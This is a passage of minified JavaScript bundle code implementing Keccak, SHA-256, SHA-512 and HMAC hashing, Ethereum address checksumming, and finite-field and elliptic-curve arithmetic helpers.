i=0;i<n;i++){e(i);const n=Date.now()-r;n>=0&&n<t||(await Yn(),r+=n)}}function Jn(n){if("string"!=typeof n)throw new Error("string expected");return new Uint8Array((new TextEncoder).encode(n))}function Qn(n){return"string"==typeof n&&(n=Jn(n)),Un(n),n}function nt(n){return"string"==typeof n&&(n=Jn(n)),Un(n),n}function tt(...n){let t=0;for(let e=0;e<n.length;e++){const r=n[e];Un(r),t+=r.length}const e=new Uint8Array(t);for(let t=0,r=0;t<n.length;t++){const i=n[t];e.set(i,r),r+=i.length}return e}class et{}function rt(n){const t=t=>n().update(Qn(t)).digest(),e=n();return t.outputLen=e.outputLen,t.blockLen=e.blockLen,t.create=()=>n(),t}function it(n=32){if(An&&"function"==typeof An.getRandomValues)return An.getRandomValues(new Uint8Array(n));if(An&&"function"==typeof An.randomBytes)return Uint8Array.from(An.randomBytes(n));throw new Error("crypto.getRandomValues must be defined")}const ot=BigInt(0),at=BigInt(1),st=BigInt(2),ut=BigInt(7),ct=BigInt(256),ft=BigInt(113),lt=[],ht=[],dt=[];for(let n=0,t=at,e=1,r=0;n<24;n++){[e,r]=[r,(2*e+3*r)%5],lt.push(2*(5*r+e)),ht.push((n+1)*(n+2)/2%64);let i=ot;for(let n=0;n<7;n++)t=(t<<at^(t>>ut)*ft)%ct,t&st&&(i^=at<<(at<<BigInt(n))-at);dt.push(i)}const pt=sn(dt,!0),yt=pt[0],gt=pt[1],wt=(n,t,e)=>e>32?gn(n,t,e):pn(n,t,e),bt=(n,t,e)=>e>32?wn(n,t,e):yn(n,t,e);class mt extends et{constructor(n,t,e,r=!1,i=24){if(super(),this.pos=0,this.posOut=0,this.finished=!1,this.destroyed=!1,this.enableXOF=!1,this.blockLen=n,this.suffix=t,this.outputLen=e,this.enableXOF=r,this.rounds=i,kn(e),!(0<n&&n<200))throw new Error("only keccak-f1600 function is supported");var o;this.state=new Uint8Array(200),this.state32=(o=this.state,new Uint32Array(o.buffer,o.byteOffset,Math.floor(o.byteLength/4)))}clone(){return this._cloneInto()}keccak(){jn(this.state32),function(n,t=24){const e=new Uint32Array(10);for(let r=24-t;r<24;r++){for(let t=0;t<10;t++)e[t]=n[t]^n[t+10]^n[t+20]^n[t+30]^n[t+40];for(let t=0;t<10;t+=2){const r=(t+8)%10,i=(t+2)%10,o=e[i],a=e[i+1],s=wt(o,a,1)^e[r],u=bt(o,a,1)^e[r+1];for(let e=0;e<50;e+=10)n[t+e]^=s,n[t+e+1]^=u}let t=n[2],i=n[3];for(let e=0;e<24;e++){const r=ht[e],o=wt(t,i,r),a=bt(t,i,r),s=lt[e];t=n[s],i=n[s+1],n[s]=o,n[s+1]=a}for(let t=0;t<50;t+=10){for(let r=0;r<10;r++)e[r]=n[t+r];for(let r=0;r<10;r++)n[t+r]^=~e[(r+2)%10]&e[(r+4)%10]}n[0]^=yt[r],n[1]^=gt[r]}Cn(e)}(this.state32,this.rounds),jn(this.state32),this.posOut=0,this.pos=0}update(n){Ln(this),Un(n=Qn(n));const{blockLen:t,state:e}=this,r=n.length;for(let i=0;i<r;){const o=Math.min(t-this.pos,r-i);for(let t=0;t<o;t++)e[this.pos++]^=n[i++];this.pos===t&&this.keccak()}return this}finish(){if(this.finished)return;this.finished=!0;const{state:n,suffix:t,pos:e,blockLen:r}=this;n[e]^=t,128&t&&e===r-1&&this.keccak(),n[r-1]^=128,this.keccak()}writeInto(n){Ln(this,!1),Un(n),this.finish();const t=this.state,{blockLen:e}=this;for(let r=0,i=n.length;r<i;){this.posOut>=e&&this.keccak();const o=Math.min(e-this.posOut,i-r);n.set(t.subarray(this.posOut,this.posOut+o),r),this.posOut+=o,r+=o}return n}xofInto(n){if(!this.enableXOF)throw new Error("XOF is not possible for this instance");return this.writeInto(n)}xof(n){return kn(n),this.xofInto(new Uint8Array(n))}digestInto(n){if(On(n,this),this.finished)throw new Error("digest() was already called");return this.writeInto(n),this.destroy(),n}digest(){return this.digestInto(new Uint8Array(this.outputLen))}destroy(){this.destroyed=!0,Cn(this.state)}_cloneInto(n){const{blockLen:t,suffix:e,outputLen:r,rounds:i,enableXOF:o}=this;return n||(n=new mt(t,e,r,o,i)),n.state32.set(this.state32),n.pos=this.pos,n.posOut=this.posOut,n.finished=this.finished,n.rounds=i,n.suffix=e,n.outputLen=r,n.enableXOF=o,n.destroyed=this.destroyed,n}}const vt=(n,t,e)=>rt(()=>new mt(t,n,e)),xt=vt(1,136,32);var Et=e(250);const{memoize:Bt}=Et,_t=/^(?:0x)?[0-9a-f]+$/iu,At=/^0x[0-9a-f]+$/iu,It=/^0x[0-9a-f]{40}$/u,kt=/^0x[0-9a-fA-F]{40}$/u,Ut=(nn(en(),_t),nn(en(),At),nn(en(),It),nn(en(),kt),n=>"string"==typeof n);function St(n){return Ut(n)&&kt.test(n)}function Lt(n){T(function(n){return Ut(n)&&_t.test(n)}(n),"Value must be a hexadecimal string.")}const Ot=Bt(function(n){T(St(n),"Invalid hex address.");const t=Rt(n).toLowerCase(),e=xt(t),{length:r}=t,i=new Array(r);for(let n=0;n<r;n++){const r=1&n,o=e[n>>1],a=0===r?o>>4:15&o;i[n]=a>=8?t[n].toUpperCase():t[n]}return`0x${i.join("")}`});const Ct=Bt(function(n){return!!St(n)&&Ot(n)===n});Bt(function(n){return Ut(t=n)&&It.test(t)||Ct(n);var t});function Kt(n){return n.startsWith("0x")?n:n.startsWith("0X")?`0x${n.substring(2)}`:`0x${n}`}function Rt(n){return n.startsWith("0x")||n.startsWith("0X")?n.substring(2):n}var Tt=e(48).hp;const Ft=48,Pt=58,jt=87;const Ht=function(){const n=[];return()=>{if(0===n.length)for(let t=0;t<256;t++)n.push(t.toString(16).padStart(2,"0"));return n}}();function $t(n){return n instanceof Uint8Array}function Nt(n){T($t(n),"Value must be a Uint8Array.")}function Dt(n){if(Nt(n),0===n.length)return"0x";const t=Ht(),e=new Array(n.length);for(let r=0;r<n.length;r++)e[r]=t[n[r]];return Kt(e.join(""))}function zt(n){Nt(n);const t=Dt(n);return BigInt(t)}function Mt(n){if("0x"===n?.toLowerCase?.())return new Uint8Array;Lt(n);const t=Rt(n).toLowerCase(),e=t.length%2==0?t:`0${t}`,r=new Uint8Array(e.length/2);for(let n=0;n<r.length;n++){const t=e.charCodeAt(2*n),i=e.charCodeAt(2*n+1),o=t-(t<Pt?Ft:jt),a=i-(i<Pt?Ft:jt);r[n]=16*o+a}return r}function Vt(n){return T("string"==typeof n,"Value must be a string."),(new TextEncoder).encode(n)}function qt(n){if("bigint"==typeof n)return function(n){return T("bigint"==typeof n,"Value must be a bigint."),T(n>=BigInt(0),"Value must be a non-negative bigint."),Mt(n.toString(16))}(n);if("number"==typeof n)return function(n){return T("number"==typeof n,"Value must be a number."),T(n>=0,"Value must be a non-negative number."),T(Number.isSafeInteger(n),"Value is not a safe integer. Use `bigIntToBytes` instead."),Mt(n.toString(16))}(n);if("string"==typeof n)return n.startsWith("0x")?Mt(n):Vt(n);if($t(n))return n;throw new TypeError(`Unsupported value type: "${typeof n}".`)}function Wt(n){const t=new Array(n.length);let e=0;for(let r=0;r<n.length;r++){const i=qt(n[r]);t[r]=i,e+=i.length}const r=new Uint8Array(e);for(let n=0,e=0;n<t.length;n++)r.set(t[n],e),e+=t[n].length;return r}function Gt(n){if(void 0!==Tt&&n instanceof Tt){const t=n.buffer.slice(n.byteOffset,n.byteOffset+n.byteLength);return new DataView(t)}return new DataView(n.buffer,n.byteOffset,n.byteLength)}function Zt(n,t,e){return n&t^~n&e}function Yt(n,t,e){return n&t^n&e^t&e}class Xt extends et{constructor(n,t,e,r){super(),this.finished=!1,this.length=0,this.pos=0,this.destroyed=!1,this.blockLen=n,this.outputLen=t,this.padOffset=e,this.isLE=r,this.buffer=new Uint8Array(n),this.view=Kn(this.buffer)}update(n){Ln(this),Un(n=Qn(n));const{view:t,buffer:e,blockLen:r}=this,i=n.length;for(let o=0;o<i;){const a=Math.min(r-this.pos,i-o);if(a===r){const t=Kn(n);for(;r<=i-o;o+=r)this.process(t,o);continue}e.set(n.subarray(o,o+a),this.pos),this.pos+=a,o+=a,this.pos===r&&(this.process(t,0),this.pos=0)}return this.length+=n.length,this.roundClean(),this}digestInto(n){Ln(this),On(n,this),this.finished=!0;const{buffer:t,view:e,blockLen:r,isLE:i}=this;let{pos:o}=this;t[o++]=128,Cn(this.buffer.subarray(o)),this.padOffset>r-o&&(this.process(e,0),o=0);for(let n=o;n<r;n++)t[n]=0;!function(n,t,e,r){if("function"==typeof n.setBigUint64)return n.setBigUint64(t,e,r);const i=BigInt(32),o=BigInt(4294967295),a=Number(e>>i&o),s=Number(e&o),u=r?4:0,c=r?0:4;n.setUint32(t+u,a,r),n.setUint32(t+c,s,r)}(e,r-8,BigInt(8*this.length),i),this.process(e,0);const a=Kn(n),s=this.outputLen;if(s%4)throw new Error("_sha2: outputLen should be aligned to 32bit");const u=s/4,c=this.get();if(u>c.length)throw new Error("_sha2: outputLen bigger than state");for(let n=0;n<u;n++)a.setUint32(4*n,c[n],i)}digest(){const{buffer:n,outputLen:t}=this;this.digestInto(n);const e=n.slice(0,t);return this.destroy(),e}_cloneInto(n){n||(n=new this.constructor),n.set(...this.get());const{blockLen:t,buffer:e,length:r,finished:i,destroyed:o,pos:a}=this;return n.destroyed=o,n.finished=i,n.length=r,n.pos=a,r%t&&n.buffer.set(e),n}clone(){return this._cloneInto()}}const Jt=Uint32Array.from([1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225]),Qt=(Uint32Array.from([3238371032,914150663,812702999,4144912697,4290775857,1750603025,1694076839,3204075428]),Uint32Array.from([3418070365,3238371032,1654270250,914150663,2438529370,812702999,355462360,4144912697,1731405415,4290775857,2394180231,1750603025,3675008525,1694076839,1203062813,3204075428]),Uint32Array.from([1779033703,4089235720,3144134277,2227873595,1013904242,4271175723,2773480762,1595750129,1359893119,2917565137,2600822924,725511199,528734635,4215389547,1541459225,327033209]));const ne=Uint32Array.from([1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298]),te=new Uint32Array(64);class ee extends Xt{constructor(n=32){super(64,n,8,!1),this.A=0|Jt[0],this.B=0|Jt[1],this.C=0|Jt[2],this.D=0|Jt[3],this.E=0|Jt[4],this.F=0|Jt[5],this.G=0|Jt[6],this.H=0|Jt[7]}get(){const{A:n,B:t,C:e,D:r,E:i,F:o,G:a,H:s}=this;return[n,t,e,r,i,o,a,s]}set(n,t,e,r,i,o,a,s){this.A=0|n,this.B=0|t,this.C=0|e,this.D=0|r,this.E=0|i,this.F=0|o,this.G=0|a,this.H=0|s}process(n,t){for(let e=0;e<16;e++,t+=4)te[e]=n.getUint32(t,!1);for(let n=16;n<64;n++){const t=te[n-15],e=te[n-2],r=Rn(t,7)^Rn(t,18)^t>>>3,i=Rn(e,17)^Rn(e,19)^e>>>10;te[n]=i+te[n-7]+r+te[n-16]|0}let{A:e,B:r,C:i,D:o,E:a,F:s,G:u,H:c}=this;for(let n=0;n<64;n++){const t=c+(Rn(a,6)^Rn(a,11)^Rn(a,25))+Zt(a,s,u)+ne[n]+te[n]|0,f=(Rn(e,2)^Rn(e,13)^Rn(e,22))+Yt(e,r,i)|0;c=u,u=s,s=a,a=o+t|0,o=i,i=r,r=e,e=t+f|0}e=e+this.A|0,r=r+this.B|0,i=i+this.C|0,o=o+this.D|0,a=a+this.E|0,s=s+this.F|0,u=u+this.G|0,c=c+this.H|0,this.set(e,r,i,o,a,s,u,c)}roundClean(){Cn(te)}destroy(){this.set(0,0,0,0,0,0,0,0),Cn(this.buffer)}}const re=sn(["0x428a2f98d728ae22","0x7137449123ef65cd","0xb5c0fbcfec4d3b2f","0xe9b5dba58189dbbc","0x3956c25bf348b538","0x59f111f1b605d019","0x923f82a4af194f9b","0xab1c5ed5da6d8118","0xd807aa98a3030242","0x12835b0145706fbe","0x243185be4ee4b28c","0x550c7dc3d5ffb4e2","0x72be5d74f27b896f","0x80deb1fe3b1696b1","0x9bdc06a725c71235","0xc19bf174cf692694","0xe49b69c19ef14ad2","0xefbe4786384f25e3","0x0fc19dc68b8cd5b5","0x240ca1cc77ac9c65","0x2de92c6f592b0275","0x4a7484aa6ea6e483","0x5cb0a9dcbd41fbd4","0x76f988da831153b5","0x983e5152ee66dfab","0xa831c66d2db43210","0xb00327c898fb213f","0xbf597fc7beef0ee4","0xc6e00bf33da88fc2","0xd5a79147930aa725","0x06ca6351e003826f","0x142929670a0e6e70","0x27b70a8546d22ffc","0x2e1b21385c26c926","0x4d2c6dfc5ac42aed","0x53380d139d95b3df","0x650a73548baf63de","0x766a0abb3c77b2a8","0x81c2c92e47edaee6","0x92722c851482353b","0xa2bfe8a14cf10364","0xa81a664bbc423001","0xc24b8b70d0f89791","0xc76c51a30654be30","0xd192e819d6ef5218","0xd69906245565a910","0xf40e35855771202a","0x106aa07032bbd1b8","0x19a4c116b8d2d0c8","0x1e376c085141ab53","0x2748774cdf8eeb99","0x34b0bcb5e19b48a8","0x391c0cb3c5c95a63","0x4ed8aa4ae3418acb","0x5b9cca4f7763e373","0x682e6ff3d6b2b8a3","0x748f82ee5defb2fc","0x78a5636f43172f60","0x84c87814a1f0ab72","0x8cc702081a6439ec","0x90befffa23631e28","0xa4506cebde82bde9","0xbef9a3f7b2c67915","0xc67178f2e372532b","0xca273eceea26619c","0xd186b8c721c0c207","0xeada7dd6cde0eb1e","0xf57d4f7fee6ed178","0x06f067aa72176fba","0x0a637dc5a2c898a6","0x113f9804bef90dae","0x1b710b35131c471b","0x28db77f523047d84","0x32caab7b40c72493","0x3c9ebe0a15c9bebc","0x431d67c49c100d4c","0x4cc5d4becb3e42b6","0x597f299cfc657e2a","0x5fcb6fab3ad6faec","0x6c44198c4a475817"].map(n=>BigInt(n))),ie=re[0],oe=re[1],ae=new Uint32Array(80),se=new Uint32Array(80);class ue extends Xt{constructor(n=64){super(128,n,16,!1),this.Ah=0|Qt[0],this.Al=0|Qt[1],this.Bh=0|Qt[2],this.Bl=0|Qt[3],this.Ch=0|Qt[4],this.Cl=0|Qt[5],this.Dh=0|Qt[6],this.Dl=0|Qt[7],this.Eh=0|Qt[8],this.El=0|Qt[9],this.Fh=0|Qt[10],this.Fl=0|Qt[11],this.Gh=0|Qt[12],this.Gl=0|Qt[13],this.Hh=0|Qt[14],this.Hl=0|Qt[15]}get(){const{Ah:n,Al:t,Bh:e,Bl:r,Ch:i,Cl:o,Dh:a,Dl:s,Eh:u,El:c,Fh:f,Fl:l,Gh:h,Gl:d,Hh:p,Hl:y}=this;return[n,t,e,r,i,o,a,s,u,c,f,l,h,d,p,y]}set(n,t,e,r,i,o,a,s,u,c,f,l,h,d,p,y){this.Ah=0|n,this.Al=0|t,this.Bh=0|e,this.Bl=0|r,this.Ch=0|i,this.Cl=0|o,this.Dh=0|a,this.Dl=0|s,this.Eh=0|u,this.El=0|c,this.Fh=0|f,this.Fl=0|l,this.Gh=0|h,this.Gl=0|d,this.Hh=0|p,this.Hl=0|y}process(n,t){for(let e=0;e<16;e++,t+=4)ae[e]=n.getUint32(t),se[e]=n.getUint32(t+=4);for(let n=16;n<80;n++){const t=0|ae[n-15],e=0|se[n-15],r=fn(t,e,1)^fn(t,e,8)^un(t,0,7),i=ln(t,e,1)^ln(t,e,8)^cn(t,e,7),o=0|ae[n-2],a=0|se[n-2],s=fn(o,a,19)^hn(o,a,61)^un(o,0,6),u=ln(o,a,19)^dn(o,a,61)^cn(o,a,6),c=xn(i,u,se[n-7],se[n-16]),f=En(c,r,s,ae[n-7],ae[n-16]);ae[n]=0|f,se[n]=0|c}let{Ah:e,Al:r,Bh:i,Bl:o,Ch:a,Cl:s,Dh:u,Dl:c,Eh:f,El:l,Fh:h,Fl:d,Gh:p,Gl:y,Hh:g,Hl:w}=this;for(let n=0;n<80;n++){const t=fn(f,l,14)^fn(f,l,18)^hn(f,l,41),b=ln(f,l,14)^ln(f,l,18)^dn(f,l,41),m=f&h^~f&p,v=Bn(w,b,l&d^~l&y,oe[n],se[n]),x=_n(v,g,t,m,ie[n],ae[n]),E=0|v,B=fn(e,r,28)^hn(e,r,34)^hn(e,r,39),_=ln(e,r,28)^dn(e,r,34)^dn(e,r,39),A=e&i^e&a^i&a,I=r&o^r&s^o&s;g=0|p,w=0|y,p=0|h,y=0|d,h=0|f,d=0|l,({h:f,l}=bn(0|u,0|c,0|x,0|E)),u=0|a,c=0|s,a=0|i,s=0|o,i=0|e,o=0|r;const k=mn(E,_,I);e=vn(k,x,B,A),r=0|k}({h:e,l:r}=bn(0|this.Ah,0|this.Al,0|e,0|r)),({h:i,l:o}=bn(0|this.Bh,0|this.Bl,0|i,0|o)),({h:a,l:s}=bn(0|this.Ch,0|this.Cl,0|a,0|s)),({h:u,l:c}=bn(0|this.Dh,0|this.Dl,0|u,0|c)),({h:f,l}=bn(0|this.Eh,0|this.El,0|f,0|l)),({h,l:d}=bn(0|this.Fh,0|this.Fl,0|h,0|d)),({h:p,l:y}=bn(0|this.Gh,0|this.Gl,0|p,0|y)),({h:g,l:w}=bn(0|this.Hh,0|this.Hl,0|g,0|w)),this.set(e,r,i,o,a,s,u,c,f,l,h,d,p,y,g,w)}roundClean(){Cn(ae,se)}destroy(){Cn(this.buffer),this.set(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)}}Uint32Array.from([2352822216,424955298,1944164710,2312950998,502970286,855612546,1738396948,1479516111,258812777,2077511080,2011393907,79989058,1067287976,1780299464,286451373,2446758561]),Uint32Array.from([573645204,4230739756,2673172387,3360449730,596883563,1867755857,2520282905,1497426621,2519219938,2827943907,3193839141,1401305490,721525244,746961066,246885852,2177182882]);const ce=rt(()=>new ee),fe=rt(()=>new ue);class le extends et{constructor(n,t){super(),this.finished=!1,this.destroyed=!1,Sn(n);const e=Qn(t);if(this.iHash=n.create(),"function"!=typeof this.iHash.update)throw new Error("Expected instance of class which extends utils.Hash");this.blockLen=this.iHash.blockLen,this.outputLen=this.iHash.outputLen;const r=this.blockLen,i=new Uint8Array(r);i.set(e.length>r?n.create().update(e).digest():e);for(let n=0;n<i.length;n++)i[n]^=54;this.iHash.update(i),this.oHash=n.create();for(let n=0;n<i.length;n++)i[n]^=106;this.oHash.update(i),Cn(i)}update(n){return Ln(this),this.iHash.update(n),this}digestInto(n){Ln(this),Un(n,this.outputLen),this.finished=!0,this.iHash.digestInto(n),this.oHash.update(n),this.oHash.digestInto(n),this.destroy()}digest(){const n=new Uint8Array(this.oHash.outputLen);return this.digestInto(n),n}_cloneInto(n){n||(n=Object.create(Object.getPrototypeOf(this),{}));const{oHash:t,iHash:e,finished:r,destroyed:i,blockLen:o,outputLen:a}=this;return n.finished=r,n.destroyed=i,n.blockLen=o,n.outputLen=a,n.oHash=t._cloneInto(n.oHash),n.iHash=e._cloneInto(n.iHash),n}clone(){return this._cloneInto()}destroy(){this.destroyed=!0,this.oHash.destroy(),this.iHash.destroy()}}const he=(n,t,e)=>new le(n,t).update(e).digest();he.create=(n,t)=>new le(n,t);const de=BigInt(0),pe=BigInt(1);function ye(n,t=""){if("boolean"!=typeof n){throw new Error((t&&`"${t}"`)+"expected boolean, got type="+typeof n)}return n}function ge(n,t,e=""){const r=In(n),i=n?.length,o=void 0!==t;if(!r||o&&i!==t){throw new Error((e&&`"${e}" `)+"expected Uint8Array"+(o?` of length ${t}`:"")+", got "+(r?`length=${i}`:"type="+typeof n))}return n}function we(n){const t=n.toString(16);return 1&t.length?"0"+t:t}function be(n){if("string"!=typeof n)throw new Error("hex string expected, got "+typeof n);return""===n?de:BigInt("0x"+n)}function me(n){return be(Nn(n))}function ve(n){return Un(n),be(Nn(Uint8Array.from(n).reverse()))}function xe(n,t){return Zn(n.toString(16).padStart(2*t,"0"))}function Ee(n,t){return xe(n,t).reverse()}function Be(n,t,e){let r;if("string"==typeof t)try{r=Zn(t)}catch(t){throw new Error(n+" must be hex string or Uint8Array, cause: "+t)}else{if(!In(t))throw new Error(n+" must be hex string or Uint8Array");r=Uint8Array.from(t)}const i=r.length;if("number"==typeof e&&i!==e)throw new Error(n+" of length "+e+" expected, got "+i);return r}function _e(n){return Uint8Array.from(n)}const Ae=n=>"bigint"==typeof n&&de<=n;function Ie(n,t,e,r){if(!function(n,t,e){return Ae(n)&&Ae(t)&&Ae(e)&&t<=n&&n<e}(t,e,r))throw new Error("expected valid "+n+": "+e+" <= n < "+r+", got "+t)}function ke(n){let t;for(t=0;n>de;n>>=pe,t+=1);return t}const Ue=n=>(pe<<BigInt(n))-pe;function Se(n,t,e={}){if(!n||"object"!=typeof n)throw new Error("expected valid options object");function r(t,e,r){const i=n[t];if(r&&void 0===i)return;const o=typeof i;if(o!==e||null===i)throw new Error(`param "${t}" is invalid: expected ${e}, got ${o}`)}Object.entries(t).forEach(([n,t])=>r(n,t,!1)),Object.entries(e).forEach(([n,t])=>r(n,t,!0))}const Le=()=>{throw new Error("not implemented")};function Oe(n){const t=new WeakMap;return(e,...r)=>{const i=t.get(e);if(void 0!==i)return i;const o=n(e,...r);return t.set(e,o),o}}const Ce=BigInt(0),Ke=BigInt(1),Re=BigInt(2),Te=BigInt(3),Fe=BigInt(4),Pe=BigInt(5),je=BigInt(7),He=BigInt(8),$e=BigInt(9),Ne=BigInt(16);function De(n,t){const e=n%t;return e>=Ce?e:t+e}function ze(n,t,e){let r=n;for(;t-- >Ce;)r*=r,r%=e;return r}function Me(n,t){if(n===Ce)throw new Error("invert: expected non-zero number");if(t<=Ce)throw new Error("invert: expected positive modulus, got "+t);let e=De(n,t),r=t,i=Ce,o=Ke,a=Ke,s=Ce;for(;e!==Ce;){const n=r/e,t=r%e,u=i-a*n,c=o-s*n;r=e,e=t,i=a,o=s,a=u,s=c}if(r!==Ke)throw new Error("invert: does not exist");return De(i,t)}function Ve(n,t,e){if(!n.eql(n.sqr(t),e))throw new Error("Cannot find square root")}function qe(n,t){const e=(n.ORDER+Ke)/Fe,r=n.pow(t,e);return Ve(n,r,t),r}function We(n,t){const e=(n.ORDER-Pe)/He,r=n.mul(t,Re),i=n.pow(r,e),o=n.mul(t,i),a=n.mul(n.mul(o,Re),i),s=n.mul(o,n.sub(a,n.ONE));return Ve(n,s,t),s}function Ge(n){if(n<Te)throw new Error("sqrt is not defined for small field");let t=n-Ke,e=0;for(;t%Re===Ce;)t/=Re,e++;let r=Re;const i=er(n);for(;1===nr(i,r);)if(r++>1e3)throw new Error("Cannot find square root: probably non-prime P");if(1===e)return qe;let o=i.pow(r,t);const a=(t+Ke)/Re;return function(n,r){if(n.is0(r))return r;if(1!==nr(n,r))throw new Error("Cannot find square root");let i=e,s=n.mul(n.ONE,o),u=n.pow(r,t),c=n.pow(r,a);for(;!n.eql(u,n.ONE);){if(n.is0(u))return n.ZERO;let t=1,e=n.sqr(u);for(;!n.eql(e,n.ONE);)if(t++,e=n.sqr(e),t===i)throw new Error("Cannot find square root");const r=Ke<<BigInt(i-t-1),o=n.pow(s,r);i=t,s=n.sqr(o),u=n.mul(u,s),c=n.mul(c,o)}return c}}function Ze(n){return n%Fe===Te?qe:n%He===Pe?We:n%Ne===$e?function(n){const t=er(n),e=Ge(n),r=e(t,t.neg(t.ONE)),i=e(t,r),o=e(t,t.neg(r)),a=(n+je)/Ne;return(n,t)=>{let e=n.pow(t,a),s=n.mul(e,r);const u=n.mul(e,i),c=n.mul(e,o),f=n.eql(n.sqr(s),t),l=n.eql(n.sqr(u),t);e=n.cmov(e,s,f),s=n.cmov(c,u,l);const h=n.eql(n.sqr(s),t),d=n.cmov(e,s,h);return Ve(n,d,t),d}}(n):Ge(n)}const Ye=(n,t)=>(De(n,t)&Ke)===Ke,Xe=["create","isValid","is0","neg","inv","sqrt","sqr","eql","add","sub","mul","pow","div","addN","subN","mulN","sqrN"];function Je(n,t,e){if(e<Ce)throw new Error("invalid exponent, negatives unsupported");if(e===Ce)return n.ONE;if(e===Ke)return t;let r=n.ONE,i=t;for(;e>Ce;)e&Ke&&(r=n.mul(r,i)),i=n.sqr(i),e>>=Ke;return r}function Qe(n,t,e=!1){const r=new Array(t.length).fill(e?n.ZERO:void 0),i=t.reduce((t,e,i)=>n.is0(e)?t:(r[i]=t,n.mul(t,e)),n.ONE),o=n.inv(i);return t.reduceRight((t,e,i)=>n.is0(e)?t:(r[i]=n.mul(t,r[i]),n.mul(t,e)),o),r}function nr(n,t){const e=(n.ORDER-Ke)/Re,r=n.pow(t,e),i=n.eql(r,n.ONE),o=n.eql(r,n.ZERO),a=n.eql(r,n.neg(n.ONE));if(!i&&!o&&!a)throw new Error("invalid Legendre symbol result");return i?1:o?0:-1}function tr(n,t){void 0!==t&&kn(t);const e=void 0!==t?t:n.toString(2).length;return{nBitLength:e,nByteLength:Math.ceil(e/8)}}function er(n,t,e=!1,r={}){if(n<=Ce)throw new Error("invalid field: expected ORDER > 0, got "+n);let i,o,a,s=!1;if("object"==typeof t&&null!=t){if(r.sqrt||e)throw new Error("cannot specify opts in two arguments");const n=t;n.BITS&&(i=n.BITS),n.sqrt&&(o=n.sqrt),"boolean"==typeof n.isLE&&(e=n.isLE),"boolean"==typeof n.modFromBytes&&(s=n.modFromBytes),a=n.allowedLengths}else"number"==typeof t&&(i=t),r.sqrt&&(o=r.sqrt);const{nBitLength:u,nByteLength:c}=tr(n,i);if(c>2048)throw new Error("invalid field: expected ORDER of <= 2048 bytes");let f;const l=Object.freeze({ORDER:n,isLE:e,BITS:u,BYTES:c,MASK:Ue(u),ZERO:Ce,ONE:Ke,allowedLengths:a,create:t=>De(t,n),isValid:t=>{if("bigint"!=typeof t)throw new Error("invalid field element: expected bigint, got "+typeof t);return Ce<=t&&t<n},is0:n=>n===Ce,isValidNot0:n=>!l.is0(n)&&l.isValid(n),isOdd:n=>(n&Ke)===Ke,neg:t=>De(-t,n),eql:(n,t)=>n===t,sqr:t=>De(t*t,n),add:(t,e)=>De(t+e,n),sub:(t,e)=>De(t-e,n),mul:(t,e)=>De(t*e,n),pow:(n,t)=>Je(l,n,t),div:(t,e)=>De(t*Me(e,n),n),sqrN:n=>n*n,addN:(n,t)=>n+t,subN:(n,t)=>n-t,mulN:(n,t)=>n*t,inv:t=>Me(t,n),sqrt:o||(t=>(f||(f=Ze(n)),f(l,t))),toBytes:n=>e?Ee(n,c):xe(n,c),fromBytes:(t,r=!0)=>{if(a){if(!a.includes(t.length)||t.length>c)throw new Error("Field.fromBytes: expected "+a+" bytes, got "+t.length);const n=new Uint8Array(c);n.set(t,e?0:n.length-t.length),t=n}if(t.length!==c)throw new Error("Field.fromBytes: expected "+c+" bytes, got "+t.length);let i=e?ve(t):me(t);if(s&&(i=De(i,n)),!r&&!l.isValid(i))throw new Error("invalid field element: outside of range 0..ORDER");return i},invertBatch:n=>Qe(l,n),cmov:(n,t,e)=>e?t:n});return Object.freeze(l)}function rr(n){if("bigint"!=typeof n)throw new Error("field order must be bigint");const t=n.toString(2).length;return Math.ceil(t/8)}function ir(n){const t=rr(n);return t+Math.ceil(t/2)}const or=BigInt(0),ar=BigInt(1);function sr(n,t){const e=t.negate();return n?e:t}function ur(n,t){const e=Qe(n.Fp,t.map(n=>n.Z));return t.map((t,r)=>n.fromAffine(t.toAffine(e[r])))}function cr(n,t){if(!Number.isSafeInteger(n)||n<=0||n>t)throw new Error("invalid window size, expected [1.."+t+"], got W="+n)}function fr(n,t){cr(n,t);const e=2**n;return{windows:Math.ceil(t/n)+1,windowSize:2**(n-1),mask:Ue(n),maxNumber:e,shiftBy:BigInt(n)}}function lr(n,t,e){const{windowSize:r,mask:i,maxNumber:o,shiftBy:a}=e;let s=Number(n&i),u=n>>a;s>r&&(s-=o,u+=ar);const c=t*r;return{nextN:u,offset:c+Math.abs(s)-1,isZero:0===s,isNeg:s<0,isNegF:t%2!=0,offsetF:c}}function hr(n,t){if(!Array.isArray(n))throw new Error("array expected");n.forEach((n,e)=>{if(!(n instanceof t))throw new Error("invalid point at index "+e)})}function dr(n,t){if(!Array.isArray(n))throw new Error("array of scalars expected");n.forEach((n,e)=>{if(!t.isValid(n))throw new Error("invalid scalar at index "+e)})}const pr=new WeakMap,yr=new WeakMap;function gr(n){return yr.get(n)||1}function wr(n){if(n!==or)throw new Error("invalid wNAF")}class br{constructor(n,t){this.BASE=n.BASE,this.ZERO=n.ZERO,this.Fn=n.Fn,this.bits=t}_unsafeLadder(n,t,e=this.ZERO){let r=n;for(;t>or;)t&ar&&(e=e.add(r)),r=r.double(),t>>=ar;return e}precomputeWindow(n,t){const{windows:e,windowSize:r}=fr(t,this.bits),i=[];let o=n,a=o;for(let n=0;n<e;n++){a=o,i.push(a);for(let n=1;n<r;n++)a=a.add(o),i.push(a);o=a.double()}return i}wNAF(n,t,e){if(!this.Fn.isValid(e))throw new Error("invalid scalar");let r=this.ZERO,i=this.BASE;const o=fr(n,this.bits);for(let n=0;n<o.windows;n++){const{nextN:a,offset:s,isZero:u,isNeg:c,isNegF:f,offsetF:l}=lr(e,n,o);e=a,u?i=i.add(sr(f,t[l])):r=r.add(sr(c,t[s]))}return wr(e),{p:r,f:i}}wNAFUnsafe(n,t,e,r=this.ZERO){const i=fr(n,this.bits);for(let 